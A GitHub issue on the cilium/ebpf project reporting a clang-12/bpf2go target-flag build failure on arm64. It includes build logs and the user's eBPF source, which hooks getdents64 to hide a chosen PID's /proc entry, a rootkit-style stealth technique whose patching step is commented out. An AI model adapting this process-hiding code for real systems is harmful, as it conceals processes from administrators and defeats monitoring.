Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

clang version >=12 will automatically add the -target bpfeb #1283

Closed
bfengj opened this issue Dec 30, 2023 · 2 comments
Closed

clang version >=12 will automatically add the -target bpfeb #1283

bfengj opened this issue Dec 30, 2023 · 2 comments
Labels
bug Something isn't working

Comments

@bfengj
Copy link

bfengj commented Dec 30, 2023

Describe the bug

this is my command :

 
//go:generate go run github.com/cilium/ebpf/cmd/bpf2go  -cc clang-12 -target arm64 -cflags "-g -O2 -Wall -target arm64 -D __TARGET_ARCH_arm64" ebpf ./kernel-code/ebpf-tools.bpf.c


I specified arm64 in various locations,but :
```bash
go generate -x -v
gen.go
go run github.com/cilium/ebpf/cmd/bpf2go -cc clang-12 -target arm64 -cflags -g -O2 -Wall -target arm64 -D __TARGET_ARCH_arm64 ebpf ./kernel-code/ebpf-tools.bpf.c
...
fatal error: error in backend: Unsupported dynamic stack allocation
PLEASE submit a bug report to https://bugs.llvm.org/ and include the crash backtrace, preprocessed source, and associated run script.
Stack dump:
0.      Program arguments: clang-12 -O2 -mcpu=v1 -g -O2 -Wall -target arm64 -D __TARGET_ARCH_arm64 -D__TARGET_ARCH_arm64 -target bpfel -c /home/parallels/Desktop/gopath/src/ebpf-go-test-remote/kernel-code/ebpf-tools.bpf.c -o /home/parallels/Desktop/gopath/src/ebpf-go-test-remote/ebpf_bpfel_arm64.o -fno-ident -fdebug-prefix-map=/home/parallels/Desktop/gopath/src/ebpf-go-test-remote/kernel-code=kernel-code -fdebug-compilation-dir . -g "-D__BPF_TARGET_MISSING=\"GCC error \\\"The eBPF is using target specific macros, please provide -target that is not bpf, bpfel or bpfeb\\\"\"" -MD -MP -MF/tmp/bpf2go3596423510
clang: error: clang frontend command failed with exit code 70 (use -v to see invocation)
Ubuntu clang version 12.0.1-19ubuntu3
Target: bpfel
Thread model: posix
InstalledDir: /usr/bin
clang: note: diagnostic msg: 
********************

PLEASE ATTACH THE FOLLOWING FILES TO THE BUG REPORT:
Preprocessed source(s) and associated run script(s) are located at:
clang: note: diagnostic msg: /tmp/ebpf-tools-eb8b1b.c
clang: note: diagnostic msg: /tmp/ebpf-tools-eb8b1b.sh
clang: note: diagnostic msg: 

********************
Error: can't execute clang-12: exit status 70
exit status 1
gen.go:3: running "go": exit status 1

According to the error message "The eBPF is using target specific macros, please provide -target that is not bpf, bpfel or bpfeb", clang shouldn't set -target to bpf, bpfel and bpfeb during compilation, so I need to specify the -target myself, but with clang version >= 12, it still specifies a -target bpfel by itself, resulting in an error According to the message above:"Program arguments: clang-12 -O2 -mcpu=v1 -g -O2 -Wall -target arm64 -D __TARGET_ARCH_arm64 -D__TARGET_ARCH_arm64 -target bpfel "

When i use clang-11, i will not happen:

go generate -x -v
gen.go
go run github.com/cilium/ebpf/cmd/bpf2go -cc clang-11 -target arm64 -cflags -g -O2 -Wall -target arm64 -D __TARGET_ARCH_arm64 ebpf ./kernel-code/ebpf-tools.bpf.c
Compiled /home/parallels/Desktop/gopath/src/ebpf-go-test-remote/ebpf_bpfel_arm64.o
Stripped /home/parallels/Desktop/gopath/src/ebpf-go-test-remote/ebpf_bpfel_arm64.o
Wrote /home/parallels/Desktop/gopath/src/ebpf-go-test-remote/ebpf_bpfel_arm64.go
main.go

I don't know if this is a clang bug or a bpf2go bug,so i report it.



### How to reproduce

```shell
//go:generate go run github.com/cilium/ebpf/cmd/bpf2go  -cc clang-11 -target arm64 -cflags "-g -O2 -Wall -target arm64 -D __TARGET_ARCH_arm64" ebpf ./kernel-code/ebpf-tools.bpf.c

ebpf code is :

#include "vmlinux.h"
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
#include <bpf/bpf_core_read.h>
#include <bpf/bpf_endian.h>

#define PROG_01 1
#define PROG_02 2

char __license[] SEC("license") = "Dual MIT/GPL";

// Ringbuffer Map to pass messages from kernel to user
struct {
    __uint(type, BPF_MAP_TYPE_RINGBUF);
    __uint(max_entries, 256 * 1024 * 16);
} rb SEC(".maps");

// Map to fold the dents buffer addresses
struct {
    __uint(type, BPF_MAP_TYPE_HASH);
    __uint(max_entries, 8192);
    __type(key, size_t);
    __type(value, long unsigned int);
} map_buffs SEC(".maps");

// Map used to enable searching through the
// data in a loop
struct {
    __uint(type, BPF_MAP_TYPE_HASH);
    __uint(max_entries, 8192);
    __type(key, size_t);
    __type(value, int);
} map_bytes_read SEC(".maps");

// Map with address of actual
struct {
    __uint(type, BPF_MAP_TYPE_HASH);
    __uint(max_entries, 8192);
    __type(key, size_t);
    __type(value, long unsigned int);
} map_to_patch SEC(".maps");

// Map to hold program tail calls
struct {
    __uint(type, BPF_MAP_TYPE_PROG_ARRAY);
    __uint(max_entries, 5);
    __type(key, __u32);
    __type(value, __u32);
} map_prog_array SEC(".maps");

struct event {
    int pid;
    u8 comm[TASK_COMM_LEN];
    bool success;
};
const struct event *unused __attribute__((unused));


//const volatile int target_ppid = 0;
const int max_pid_len = 10;
const volatile int pid_to_hide_len = 0;
const volatile char pid_to_hide[max_pid_len];


// struct linux_dirent64 {
//     u64        d_ino;    /* 64-bit inode number */
//     u64        d_off;    /* 64-bit offset to next structure */
//     unsigned short d_reclen; /* Size of this dirent */
//     unsigned char  d_type;   /* File type */
//     char           d_name[]; /* Filename (null-terminated) */ };
// int getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);

SEC("tp/syscalls/sys_enter_getdents64")
int handle_getdents_enter(struct trace_event_raw_sys_enter *ctx) {
    size_t pid_tgid = bpf_get_current_pid_tgid();

    struct linux_dirent64 *dirp = (struct linux_dirent64 *) ctx->args[1];
    bpf_map_update_elem(&map_buffs, &pid_tgid, &dirp, BPF_ANY);
    return 0;
}


SEC("tp/syscalls/sys_exit_getdents64")
int handle_getdents_exit(struct trace_event_raw_sys_exit *ctx) {
    u64 pid_tgid = bpf_get_current_pid_tgid();

    int total_bytes_read = ctx->ret;
    // if bytes_read is 0, everything's been read
    if (total_bytes_read <= 0) {
        return 0;
    }

    // Check we stored the address of the buffer from the syscall entry
    long unsigned int *pbuff_addr = bpf_map_lookup_elem(&map_buffs, &pid_tgid);
    if (pbuff_addr == 0) {
        return 0;
    }
    //bpf_printk("enter");

    long unsigned int buff_addr = *pbuff_addr;
    struct linux_dirent64 *dirp = 0;
    //int pid = pid_tgid >> 32;
    short unsigned int d_reclen = 0;
    char filename[max_pid_len];

    unsigned int bpos = 0;
    unsigned int *pBPOS = bpf_map_lookup_elem(&map_bytes_read, &pid_tgid);
    if (pBPOS != 0) {
        bpos = *pBPOS;
    }

    for (int i = 0; i < 200; i++) {
        if (bpos >= total_bytes_read) {
            break;
        }
        dirp = (struct linux_dirent64 *) (buff_addr + bpos);
        bpf_probe_read_user(&d_reclen, sizeof(d_reclen), &dirp->d_reclen);
        //bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp->d_name);
        //bpf_printk("[PID_HIDE] filename:%s",filename);
        //bpf_core_read_user_str(&filename, pid_to_hide_len, dirp->d_name);
        BPF_CORE_READ_USER_STR_INTO(&filename,dirp,d_name);
        int j = 0;
        for (j = 0; j < pid_to_hide_len; j++) {
            if (filename[j] != pid_to_hide[j]) {
                break;
            }
        }
        if (j == pid_to_hide_len) {

            //bpf_printk("[PID_HIDE] find target pid folder");
            //bpf_printk("[PID_HIDE] filename:%s",filename);
            bpf_map_delete_elem(&map_bytes_read, &pid_tgid);
            bpf_map_delete_elem(&map_buffs, &pid_tgid);
            bpf_tail_call(ctx, &map_prog_array, PROG_02);
        }
        bpf_map_update_elem(&map_to_patch, &pid_tgid, &dirp, BPF_ANY);
        bpos += d_reclen;
    }
    // If we didn't find it, but there's still more to read,
    // jump back the start of this function and keep looking
    if (bpos < total_bytes_read) {
        bpf_map_update_elem(&map_bytes_read, &pid_tgid, &bpos, BPF_ANY);
        bpf_tail_call(ctx, &map_prog_array, PROG_01);
    }
    bpf_map_delete_elem(&map_bytes_read, &pid_tgid);
    bpf_map_delete_elem(&map_buffs, &pid_tgid);

    return 0;
}

/*
SEC("tp/syscalls/sys_exit_getdents64")
int handle_getdents_patch(struct trace_event_raw_sys_exit *ctx) {
    // Only patch if we've already checked and found our pid's folder to hide
    size_t pid_tgid = bpf_get_current_pid_tgid();
    long unsigned int *pbuff_addr = bpf_map_lookup_elem(&map_to_patch, &pid_tgid);
    if (pbuff_addr == 0) {
        return 0;
    }

    // Unlink target, by reading in previous linux_dirent64 struct,
    // and setting it's d_reclen to cover itself and our target.
    // This will make the program skip over our folder.
    long unsigned int buff_addr = *pbuff_addr;
    struct linux_dirent64 *dirp_previous = (struct linux_dirent64 *) buff_addr;
    short unsigned int d_reclen_previous = 0;
    bpf_probe_read_user(&d_reclen_previous, sizeof(d_reclen_previous), &dirp_previous->d_reclen);

    struct linux_dirent64 *dirp = (struct linux_dirent64 *) (buff_addr + d_reclen_previous);
    short unsigned int d_reclen = 0;
    bpf_probe_read_user(&d_reclen, sizeof(d_reclen), &dirp->d_reclen);

    // Debug print
    char filename[max_pid_len];
    bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp_previous->d_name);
    filename[pid_to_hide_len - 1] = 0x00;
    bpf_printk("[PID_HIDE] filename previous %s\n", filename);
    bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp->d_name);
    filename[pid_to_hide_len - 1] = 0x00;
    bpf_printk("[PID_HIDE] filename next one %s\n", filename);

    // Attempt to overwrite
    short unsigned int d_reclen_new = d_reclen_previous + d_reclen;
    long ret = bpf_probe_write_user(&dirp_previous->d_reclen, &d_reclen_new, sizeof(d_reclen_new));

    // Send an event
    struct event *e;
    e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0);
    if (e) {
        e->success = (ret == 0);
        e->pid = (pid_tgid >> 32);
        bpf_get_current_comm(&e->comm, sizeof(e->comm));
        bpf_ringbuf_submit(e, 0);
    }


    bpf_map_delete_elem(&map_to_patch, &pid_tgid);
    return 0;
}
 */

this is my linux:

uname -a
Linux ubuntu-linux-22-04-02-desktop 6.5.13-060513-generic #202311281736 SMP PREEMPT_DYNAMIC Tue Nov 28 18:10:14 UTC 2023 aarch64 aarch64 aarch64 GNU/Linux

Version information

github.com/cilium/ebpf v0.12.3

@bfengj bfengj added the bug Something isn't working label Dec 30, 2023
@lmb
Copy link
Collaborator

lmb commented Jan 3, 2024

bpf2go will pass the necessary target flags and defines to clang, do not add them to the cflags manually.

Try this:

go run github.com/cilium/ebpf/cmd/bpf2go -cc clang-12 -target arm64 -cflags "-g -O2 -Wall" ...

@bfengj
Copy link
Author

bfengj commented Jan 7, 2024

thanks!Looking at my code again after so many days i find that actually it's not the bug of clang,it's because of my code.But still thanks for the reply!!!

@bfengj bfengj closed this as completed Jan 9, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug Something isn't working
Projects
None yet
Development

No branches or pull requests

2 participants